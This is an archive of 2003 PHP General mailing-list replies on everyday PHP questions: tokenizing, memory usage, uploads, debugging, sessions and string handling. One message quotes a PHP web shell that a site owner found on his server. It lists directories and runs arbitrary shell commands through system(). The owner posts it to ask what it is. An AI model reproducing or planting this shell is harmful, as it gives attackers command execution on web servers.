Re: [PHP] Parsing PHP
There is the tokenizer extension... http://www.php.net/tokenizer This might give you a good start. -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Nikhil G. Daddikar" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Saturday, July 26, 2003 1:06 AM Subject: [PHP] Parsing PHP > I am using PHP to develop and web app. > > The app also has a scripting language for the *end user*. I was thinking > if I could expose a very simple subset of PHP to them (foreach, > if-then-else, variable assignments and comments) and then simply "eval" > it. But I don't want them to use calls like system or do infinite loops > etc. that will screw up the system. > > I was thinking if I had a PHPparser that returns tokens, then I can > eliminate the call to unwanted funtions, etc. > > Any ideas on how I should proceed? > > Thanks. > > > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] memory consumption from a script
A while ago, Philip Olson wrote: > As of 4.3.2, if you compile PHP with --enable-memory-limit > you may use memory_get_usage(). This is documented and > will show up when the next PHP manual is built. This function is not documented in the PHP manual, but is in the zend copy: http://www.zend.com/manual/function.memory-get-usage.php HTH. Pete. -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "John W. Holmes" <[EMAIL PROTECTED]> To: "Torsten Rosenberger" <[EMAIL PROTECTED]> Cc: <[EMAIL PROTECTED]> Sent: Sunday, July 27, 2003 7:39 AM Subject: Re: [PHP] memory consumption from a script > Torsten Rosenberger wrote: > > is it possible to find out the memory consumption on a php script ? > > I trie to develop a chat with php and SHM and want to fiend out how > > much memory is used to scale the chat server > > No, not now. I seem to remember talk about a function that would help > with this being available in PHP5, but I can't find anything in the > documentation. > > -- > ---John Holmes... > > Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/ > > PHP|Architect: A magazine for PHP Professionals – www.phparch.com > > > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] small request
Yes. . -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Ryan A" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Sunday, July 27, 2003 8:34 AM Subject: [PHP] small request > Hi, > I want to find out if this is my browsers fault or the settings in my > php.ini, can you goto http://bestwebhosters.com/my.login.php then look at > the page source and tell me if there is a hidden variable after the form tag > with the name "PHPSESSID" > > Thanks for helping. > > Cheers, > -Ryan > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Please HELP me
You're not giving us much to work with here. What's the actual problem? Regardless, I can see a couple of thing wrong here. 1. You're trying to do a multipart/form-data transfer using GET. You need to use POST. 2. Unless you've got register_globals on, and even if you do, you should be referencing your uploaded file with $_FILES['util']['tmp_name'] 3. You should read the manual here:http://ca2.php.net/features.file-upload HTH. Pete. -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Rausch Alexandru" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Saturday, July 26, 2003 8:50 PM Subject: [PHP] Please HELP me I have some problem with uploading a file from my harddisk using a ftp connection. Here are the 2 files: test.php contains the form: Titlu gif :: and test2.php is the script for upload : "; } $util=strtolower($util); $destination="tit.gif"; if(ftp_put($con, $destination, $util, FTP_BINARY)){echo "OK ,am pus titlul ";} else{ echo "eroare";$error=1;} ?> Thanks in advanced -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] memory consumption from a script
I think it's pretty standard. It just means that you can control how much memory your script uses. -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "John W. Holmes" <[EMAIL PROTECTED]> To: "Peter James" <[EMAIL PROTECTED]> Cc: "Torsten Rosenberger" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> Sent: Sunday, July 27, 2003 10:50 AM Subject: Re: [PHP] memory consumption from a script > Peter James wrote: > > A while ago, Philip Olson wrote: > > > > > >>As of 4.3.2, if you compile PHP with --enable-memory-limit > >>you may use memory_get_usage(). This is documented and > >>will show up when the next PHP manual is built. > > > > This function is not documented in the PHP manual, but is in the zend copy: > > > > http://www.zend.com/manual/function.memory-get-usage.php > > Ah, that's the one I was looking for. Are there any downsides to > compiling PHP with --enable-memory-limit or is that something that's > normally done? > > -- > ---John Holmes... > > Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/ > > PHP|Architect: A magazine for PHP Professionals – www.phparch.com > > > > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] debuging and getting mor information about failures
These errors are usually caused by an extra or missing brace or quote/apostrophe/backtick. The best way to find where this is happening is to use another error. Start at the bottom of your script and introduce some garbage on a line by itself. "asdf" for example. This should cause a parse error when encountered. Move this up a few lines at a time, until the original parse error goes away, and this one starts. This will help you identify where your problem is. This is a very frustrating error message, but the above should take some of the pain away. :-) HTH. Pete. -- -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com "chrstian brensteiner" <[EMAIL PROTECTED]> wrote in message news:[EMAIL PROTECTED] > whats the best option to get more information about a failure in your sorce > code ? > > whenever i get failures that are situated at the very end of my script how > do i get to know wherer they start? > > now i have get from apache + php this return > > Parse error: parse error, unexpected $ in > c:\programme\easyphp\www\cms\procede_presse.php on line 268 > > 268 is the last line of my script how to deal with those failures in an > intelligent way? > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Fw: [PHP] debuging and getting mor information about failures
Just forwarding this reply back to the list. - Original Message - From: "Chris W. Parker" <[EMAIL PROTECTED]> To: "Peter James" <[EMAIL PROTECTED]> Sent: Tuesday, July 29, 2003 10:26 AM Subject: RE: [PHP] debuging and getting mor information about failures Peter James <mailto:[EMAIL PROTECTED]> on Tuesday, July 29, 2003 9:18 AM said: > These errors are usually caused by an extra or missing brace or > quote/apostrophe/backtick. The best way to find where this is > happening is to use another error. [snip] > This is a very frustrating error message[snip] It also helps to learn what to look out for. Not to say that I won't ever have the need, but I've never needed to deliberately introduce one error just to find another one, especially when it's a syntax error. The best thing to do is just get used to scanning your lines of code for proper syntax. Make sure you always have a ; at the end of each statement, make sure your curly braces line up, etc. Another thing that be making this error difficult for you to find is because of your coding style. Your code could possibly be written in such a way that it doesn't make scanning it too easy therefore making it hard to find such tiny errors. hth, chris. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Curl alternative?
You can do anything (almost) with fopen() and fsockopen()... but it won't necessarilybe easy. It depends what you want to do. -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Steven Kallstrom" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Tuesday, July 29, 2003 10:46 AM Subject: [PHP] Curl alternative? > Dear List, > > I am currently working on a UPS Web Service Interface and > was wondering if you thought that I could accomplish such a thing > without the Curl libraries. since unfortunately the server that I am > using did not compile Curl with PHP. what do you think. is this > something that is possible.? Or should I just stick with perl or java. > any suggestions. thanks, I appreciate any help in advance. > > Steven Kallstrom > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] DB resource as Session var
Not possible, for many reasons. Not the least of which is that db servers, like any server, only have a limited number of connections. Can you imagine the havoc that multiple, session-wide, open connections would do to a db server - even under light load? Oh ya, plus it's absolutely impossible to persist any type of resource from one request to the next. Cheers, Pete. -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Jackson Miller" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Tuesday, July 29, 2003 1:39 PM Subject: [PHP] DB resource as Session var > I think I know the answer to this, but I have no technical reason to back it > up. > > Is it possible to store a db connection resource id as a $_SESSION variable? > It would be nice to have one connection per user/session that carries over > multiple page views. > > I am guessing this is impossible, but if so I would like to know why. > > Thanks, > -Jackson > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Apache logs to keep $_POST values
I wonder if something like mod_filter, that would be able to access each request before it hit PHP, would work for this. -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Nicholas Robinson" <[EMAIL PROTECTED]> To: "Jay Blanchard" <[EMAIL PROTECTED]>; "Bogdan Albei" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> Sent: Tuesday, July 29, 2003 1:42 PM Subject: Re: [PHP] Apache logs to keep $_POST values Probably better to shell a command to write to the system log - I don't think PHP can do it directly. This would nott be subject to the contention problems you cite in writing to either an apache log or a dedicated log. HTH Nick On Tuesday 29 Jul 2003 8:36 pm, Jay Blanchard wrote: > [snip] > I wanted to know if Apache has a feature that could log the $_POST > values. > [/snip] > > I don't think so, you would probably have to consult an Apache list or > the Apache manual. > > [snip] > By the way, fopening the log file and write the $_POST variables won't > work on a server with high activity because other requests could be > processed by apache and logged before I can write my $_POST variables in > it's access log so I would just mess up my logs. I could just keep my > own log written by my application if Apache doesn't have such a feature. > This helps a lot tracking bugs because people just don't remember what > they've done when something went wrong. > [/snip] > > True, I was just offering a solution to your situation. I like your idea > better, but you are likely to have the same problem with a seperate log > on a high traffic site, no? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Possible My Website was hacked... with PHP... please tell me what this is???
Via: http://www.google.ca/search?q=Crime+Perfect+2003&ie=UTF-8&oe=UTF-8&hl=en&meta= Found: http://www.zone-h.org/ Search: Crime Perfect See: Results (doesn't look good) :-( -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Joe Harman" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Thursday, July 31, 2003 12:06 AM Subject: [PHP] Possible My Website was hacked... with PHP... please tell me what this is??? > I found this on my server... I have no idea what it is... can someone > tell me what it does... > > > > Thanks > > > > -- > > > > > > PHP Shell - CP > > > > alink="#00"> > > Crime > Perfect > > PHP Shell - by _m4st3r_c0d3 > > > /* First we check if there has been asked for a working directory. */ > > if (isset($work_dir)) { > > /* A workdir has been asked for - we chdir to that dir. */ > > chdir($work_dir); > > $work_dir = exec("pwd"); > > } else { > > /* No work_dir - we chdir to $DOCUMENT_ROOT */ > > chdir($DOCUMENT_ROOT); > > $work_dir = $DOCUMENT_ROOT; > > } > > ?> > > > > Diretório em que você está no momento: > > > $work_dir_splitted = explode("/", substr($work_dir, 1)); > > echo "Root/"; > > if ($work_dir_splitted[0] == "") { > > $work_dir = "/"; /* Root directory. */ > > } else { > > for ($i = 0; $i < count($work_dir_splitted); $i++) { > > /* echo "i = $i";*/ > > $url .= "/".$work_dir_splitted[$i]; > > echo "$work_dir_splitted[$i]/"; > > } > > } > > ?> > > > > Escolha abaixo o diretório em que deseja ir: > > > > > /* Now we make a list of the directories. */ > > $dir_handle = opendir($work_dir); > > /* Run through all the files and directories to find the dirs. */ > > while ($dir = readdir($dir_handle)) { > > if (is_dir($dir)) { > > if ($dir == ".") { > > echo "Current > Directory\n"; > > } elseif ($dir == "..") { > > /* We have found the parent dir. We must be carefull if the parent > > directory is the root directory (/). */ > > if (strlen($work_dir) == 1) { > > /* work_dir is only 1 charecter - it can only be / */ > > } elseif (strrpos($work_dir, "/") == 0) { > > /* The last / in work_dir were the first charecter. > > This means that we have a top-level directory > > eg. /bin or /home etc... */ > > echo "Parent Directory\n"; > > } else { > > /* We do a little bit of string-manipulation to find the parent > > directory... Trust me - it works :-) */ > > echo " 1)) ."\">Parent Directory\n"; > > } > > } else { > > if ($work_dir == "/") { > > echo "$dir\n"; > > } else { > > echo "$dir\n"; > > } > > } > > } > > } > > closedir($dir_handle); > > ?> > > > > Digite abaixo os comandos que deseja executar: > > "value=\"$command\"";} ?> > value="Execute Command"> > > Ligar/Ativar stderr-trapping? > > > > Abaixo, terminal onde aparecerá os resultados dos comandos > que > > você executou > > > > > > > if ($command) { > > if ($stderr) { > > system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm > /tmp/output.txt"); > > } else { > > system($command); > > } > > } > > ?> > > > > > > > > > > Crime Perfect 2003 > > By _m4st3r_c0d3 - #crimeperfect > > > > > > > > > > > Joe Harman > > http://www.HarmanMedia.com > > Only two things are infinite, the universe and human stupidity, and I'm > not sure about the former. - Albert Einstein > > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Flash Actionscript List or Forum
Not sure about a list, but this site has a boatload of tutorials and answered lots of questions that I had. http://actionscript.org/tutorials.shtml -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Joe Harman" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Friday, August 08, 2003 1:08 AM Subject: [PHP] Flash Actionscript List or Forum > Hello all, > > I've been doing PHP for a little while now... I am starting learn Action > Script now... and having trouble with global variables and functions... > does anyone know where I find a good list or forum for action script? > > Joe Harman > > http://www.HarmanMedia.com > > I used to think I was indecisive, but now I'm not so sure. - Joe Harman, > 2003 > > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] string concatenation from array
Of course, in this case, it would be much easier replace all of the above with echo join(' ', $search_string); and be done with it. :-) -- Peter James Editor-in-Chief, php|architect Magazine [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Peter James" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Tuesday, August 12, 2003 2:18 PM Subject: Re: [PHP] string concatenation from array > My personal favourite is to use an array. It's much cleaner syntax IMO...it > is very easy to miss a '.' on a '.=', and introduce a nasty bug. > > $wresult = array(); > > foreach ($search_string as $word_result) { > $wresult[] = $word_result; > } > echo join('', $wresult); > > or in php 4.3 > > echo join($wresult); > > -- > Peter James > Editor-in-Chief, php|architect Magazine > [EMAIL PROTECTED] > > php|architect > The Magazine for PHP Professionals > http://www.phparch.com > > > - Original Message - > From: "Matt Giddings" <[EMAIL PROTECTED]> > To: "'Micah Montoy'" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> > Sent: Tuesday, August 12, 2003 2:00 PM > Subject: RE: [PHP] string concatenation from array > > > > Use the "." concatenation operator. : ) > > > > > > $wresult = ""; > > > > foreach ($search_string as $word_result) { > > $wresult = $wresult . " " . $word_result; > > } > > echo $wresult; > > > > > > Matt > > > > > -Original Message- > > > From: Micah Montoy [mailto:[EMAIL PROTECTED] > > > Sent: Tuesday, August 12, 2003 3:58 PM > > > To: [EMAIL PROTECTED] > > > Subject: [PHP] string concatenation from array > > > > > > I'm having a bit of difficulty getting a string to attach to itself > > from > > > an > > > array. Here is the bit of code I'm working on. > > > > > > $wresult = ""; > > > > > > foreach ($search_string as $word_result){ > > > $wresult = $wresult & " " & $word_result; > > > } > > > > > > echo ("$wresult"); > > > > > > Anyone see why when I run through each part of the array, it won't > > attach > > > the next string and so on? > > > > > > thanks > > > > > > > > > > > > -- > > > PHP General Mailing List (http://www.php.net/) > > > To unsubscribe, visit: http://www.php.net/unsub.php > > > > > > > > > --- > > > Incoming mail is certified Virus Free. > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > Version: 6.0.507 / Virus Database: 304 - Release Date: 8/4/2003 > > > > > > > --- > > Outgoing mail is certified Virus Free. > > Checked by AVG anti-virus system (http://www.grisoft.com). > > Version: 6.0.507 / Virus Database: 304 - Release Date: 8/4/2003 > > > > > > > > -- > > PHP General Mailing List (http://www.php.net/) > > To unsubscribe, visit: http://www.php.net/unsub.php > > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how to use array_map() with a class callback function?
array_map(array('Maker', 'sGetNameId'), array("1") ) Have a look at the callback type, here: http://www.php.net/manual/en/language.pseudo-types.php -- Peter James Editor-in-Chief, php|architect Magazine [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Jean-Christian IMbeault" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Wednesday, August 13, 2003 12:33 AM Subject: [PHP] how to use array_map() with a class callback function? > I'd like to use array map with the callback function being a static > function in a class. How can I do that? > > I have tried: > > class Maker { >function sGetNameId($a) { > return 1; >} > } > > array_map("Maker::sGetNameId", array("1") ) > > But I get this error: > > array_map(): The first argument, 'Maker::sGetNameId', should be either > NULL or a valid callback > > Is it possible to use class functions as callback functions? > > Thanks, > > Jean-Christian Imbeault > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] string concatenation from array
My personal favourite is to use an array. It's much cleaner syntax IMO...it is very easy to miss a '.' on a '.=', and introduce a nasty bug. $wresult = array(); foreach ($search_string as $word_result) { $wresult[] = $word_result; } echo join('', $wresult); or in php 4.3 echo join($wresult); -- Peter James Editor-in-Chief, php|architect Magazine [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Matt Giddings" <[EMAIL PROTECTED]> To: "'Micah Montoy'" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> Sent: Tuesday, August 12, 2003 2:00 PM Subject: RE: [PHP] string concatenation from array > Use the "." concatenation operator. : ) > > > $wresult = ""; > > foreach ($search_string as $word_result) { > $wresult = $wresult . " " . $word_result; > } > echo $wresult; > > > Matt > > > -Original Message- > > From: Micah Montoy [mailto:[EMAIL PROTECTED] > > Sent: Tuesday, August 12, 2003 3:58 PM > > To: [EMAIL PROTECTED] > > Subject: [PHP] string concatenation from array > > > > I'm having a bit of difficulty getting a string to attach to itself > from > > an > > array. Here is the bit of code I'm working on. > > > > $wresult = ""; > > > > foreach ($search_string as $word_result){ > > $wresult = $wresult & " " & $word_result; > > } > > > > echo ("$wresult"); > > > > Anyone see why when I run through each part of the array, it won't > attach > > the next string and so on? > > > > thanks > > > > > > > > -- > > PHP General Mailing List (http://www.php.net/) > > To unsubscribe, visit: http://www.php.net/unsub.php > > > > > > --- > > Incoming mail is certified Virus Free. > > Checked by AVG anti-virus system (http://www.grisoft.com). > > Version: 6.0.507 / Virus Database: 304 - Release Date: 8/4/2003 > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.507 / Virus Database: 304 - Release Date: 8/4/2003 > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how to change index.php?passwd to index.php in the address bar
Use the post method? -- Peter James Editor-in-Chief, php|architect Magazine [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "murugesan" <[EMAIL PROTECTED]> To: "Robert Cummings" <[EMAIL PROTECTED]>; "Kris Reid" <[EMAIL PROTECTED]> Cc: "PHP List" <[EMAIL PROTECTED]> Sent: Wednesday, August 13, 2003 12:28 AM Subject: [PHP] how to change index.php?passwd to index.php in the address bar > Hello all, >When go to a new page from login page the address bar has > localhost/regsuccess.php?password="ASD" > I don't want the things that comes after ? in the URL > How can I resolve this issue?. > > Thanks in advance, > Murugesan > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Calling to a page without having to load it
Make your request, but send a 204 HTTP response header back. http://ppewww.ph.gla.ac.uk/~flavell/www/status204/results.html -- Peter James [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Creative Solutions New Media" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Thursday, August 07, 2003 9:50 PM Subject: [PHP] Calling to a page without having to load it > Hello, > > I have a weird problem I was hoping someone could help with. > > I have a client who hosts a site on a standard server (No PHP et all) > > Currently he has some Flash based content. Within the Flash content I can > call to PHP pages in another domain to push and pull data from a mySQL DB > into the Flash App (Basically what I am doing is tracking page hits within > the flash movie). > > However, now there are going to be some standard HTML pages as well (no > Flash). I would like to be able to integrate the tracking system to record > hits on those pages as well. Is there a way to do this externally (to > launch a PHP script on another server without actually have to load a PHP > page). > > I know this is a bit of a weird thing but if anyone has a suggestion (beyond > telling the customer to spring for PHP access himself) I would appreciate it > very much. > > Thanks. > > Tim Winters > Manager, Creative Development > Sampling Technologies Incorporated (STI) > [EMAIL PROTECTED] > [EMAIL PROTECTED] > W: 902 450 5500 > C: 902 430 8498 > > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Help with parse error
Can you give us a couple lines either side of this? This could be due to a missing semicolon on the previous line. -- Peter James Editor-in-Chief, php|architect Magazine [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "James Johnson" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Wednesday, August 20, 2003 1:07 AM Subject: [PHP] Help with parse error > Hi, > > I'm trying to figure out this error I'm getting in my code: > > Parse error: parse error in /home/.paco/campuscb/AdPayment.php on line 9 > > This is the code on line 9: > > $sDate = date('Y-m-d',time()); > > Does this look valid? > Thanks, > James > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] virus on the list
Here's your reason: "... the variation on the latest version [of SoBig] means that anyone who has a well-publicized email address is getting inundated. Previous versions simply went through Outlook addressbooks and sent the virus on (while also attaching another email address on as the return address). This version also looks through the victim's cached webpages, so any email address found on websites that many people visit have discovered that their getting hundreds or thousands of virus emails." -- Peter James Editor-in-Chief, php|architect Magazine [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Thursday, August 21, 2003 1:04 AM Subject: [PHP] virus on the list > what is happening why am i keep getting these from php ppl ? > > i have recieved them from rasmus and anyone with a php.net domain aswell as > from ppl on the list is there a virus on the list server? > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] OT-Re: worm on th list
As an aside... I wonder what the ratio is of emails *from* the virus vs. emails *about* the virus. The latter certainly doesn't help the impulse response of the attack. :-) -- Peter James Editor-in-Chief, php|architect Magazine [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] auto_prepend_file
Check out php_admin_value, highlighted in the link below http://216.239.33.104/search?q=cache:mpDXuwrDs_gJ:www.php.net/configuration.changes+php_admin_value+site:www.php.net&hl=en&ie=UTF-8 -- Peter James Editor-in-Chief, php|architect Magazine [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Dennis Gearon" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Friday, August 22, 2003 8:39 PM Subject: [PHP] auto_prepend_file > Is there any settings that will silently disable the ability for a > <.htaccess> file to use the > > php_value auto_prepend_value "some file name" > > directive? Some safe mode thing, or an ini setting or something? > > The people at the host I'm at just CAN'T seem to get it working on my > site. It's an ensim site. > > I have errors turned on, and it doesn't even give an error. It's like > the line doesn't exist. > > If I had a browning light with some sabotted tungsten carbide slugs, I'd > fix the G*^(*^N server, > > after three days of messing with this. :-) > > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP Interview questions
Even better than questions, make a one or two hour case study. Have them demonstrate their ability. 1. How would you solve X problem? 2. What do you think about Y? 3. Write some code to solve Z? A good place for ideas for case studies might be codewalkers, weberdev, or php-editors. There's a big difference between talking and walking. My 2 cents. -- Peter James Editor-in-Chief, php|architect Magazine [EMAIL PROTECTED] php|architect The Magazine for PHP Professionals http://www.phparch.com - Original Message - From: "Micheal Harris" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Tuesday, August 26, 2003 9:22 AM Subject: [PHP] PHP Interview questions > Hello All, > > I am in the process of hiring someone that needs to have extensive PHP and > MySQL experience. Does anyone have any suggestions for interview questions? > I have no PHP or MySQL experience, and come from a non-technical background. > I want the questions to be technical, but I am unsusre as to how specific I > should get with the questionning! > > Thanks for any help, > > Mike > > P.S - Replies can be sent directly to this address if seen as more > apporpriate, as oppposed to sending it to the whole list. > > _ > MSN 8 with e-mail virus protection service: 2 months FREE* > http://join.msn.com/?page=features/virus > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Script Security: Best coding practices
A suggestion would be to make sure that the variables you're receiving are coming from where you think they're coming from... For instance, $_SESSION['logged_in'] is also (generally) $logged_in but so is $_GET['logged_in'] A smart user could fake it if they wanted to... check the $_SESSION or $_COOKIE or $_POST arrays when it's important, don't just check $logged_in... P. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Sessions / logins / cookies / security
There's a good article on authentication at phpbuilder.com http://www.phpbuilder.com/columns/tim2505.php3 that may provide an idea or two. - Original Message - From: "Chad Day" <[EMAIL PROTECTED]> Newsgroups: php.general To: <[EMAIL PROTECTED]> Sent: Tuesday, July 16, 2002 10:30 AM Subject: Sessions / logins / cookies / security > I asked something similar a little while ago, but didn't do a good job > clarifying. > > What I'm looking to do is when a user logs in, I start up the session.. I > then have the registered session var to verify they are authenticated as > they move throughout the site. > > Now, when they close the browser and come back, I want them to still be > authenticated. Obviously, I have to set a cookie. But what do I set? Do I > set just their user ID? The MD5 of their password? What's the most secure > way, that's not easily spoofed? I don't know that much about cookies, but > if I just use a user ID, couldn't someone just change that ID value and > 'become' another user? > > Thanks for any advice, > Chad > -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: Re[4]: [PHP] Submitting to cgi script
> This worked now my question is. Is there a way to force it to submit with > POST rather than GET > Look at the CURL functions on php.net -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] some kind of redirection (not the header function)
> I thought that maybe with some Apache stuff, but I don´t think thereś > something that will help, since directives such as RedirectMatch, etc. > rewrite the URL, and I don´t want that, I want the URL to remain > http://www.domain.com/directoryX/whatever.php mod_rewrite allows you to do internal redirects. This would keep your user's URL the same, but actually point to a different page internally. This is, of course, depends on whether you or your host have mod_rewrite installed. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] non-php issue
You guys running Linux sure are cocky about these sorts of things. I have no doubt that Linux' time will come, and then it will be the MacOS X users, or FreeBSD users, or [insert random-os-that-still-remains-under-the-radar here] users that think they are "untouchable". If Linux enjoyed the same type of (often less-than-computer-literate) user base that Windows does, there'd be plenty for virus writers and vulnerability exploiters to do. Linux is not necessarily more secure... just not a honeypot of large numbers of gullible users. But that's just my 2 cents (for which I will almost certainly earn the title of troll). - Original Message - From: "andu" <[EMAIL PROTECTED]> To: "Raditha Dissanayake" <[EMAIL PROTECTED]> Cc: "Wang Feng" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> Sent: Sunday, September 21, 2003 10:46 PM Subject: Re: [PHP] non-php issue > > On Monday, September 22, 2003, at 12:34 AM, Raditha Dissanayake wrote: > > > You can fix all of your problems by formatting your computer and > > installing a linux distribution. > > I'm getting all these security patches in my email from "Microsoft > Corporation" lately, maybe you want to use them since I run linux and > have no use for them :). > > > > > Wang Feng wrote: > > > >> hi everyone, could someone recommend a security mailing list, please? > >> > >> or you may like to answer my question below: > >> > >> i'm currently using outlook express 6 on WinXP Pro, and something > >> strange happened: > >> > >> everytime when i start the computer, some messages pop up and > >> attempts to sending the replies of the emails (in the > >> inbox) in behalf of me. > >> > >> my anti-virus software doesn't work at all. what's the problem. how > >> can i fix it? > >> > >> please help > >> > >> > >> cheers, > >> > >> feng > >> > >> > >> > > > > > > -- > > http://www.radinks.com/upload > > Drag and Drop File Uploader. > > > > -- > > PHP General Mailing List (http://www.php.net/) > > To unsubscribe, visit: http://www.php.net/unsub.php > > > > > > > > -- > 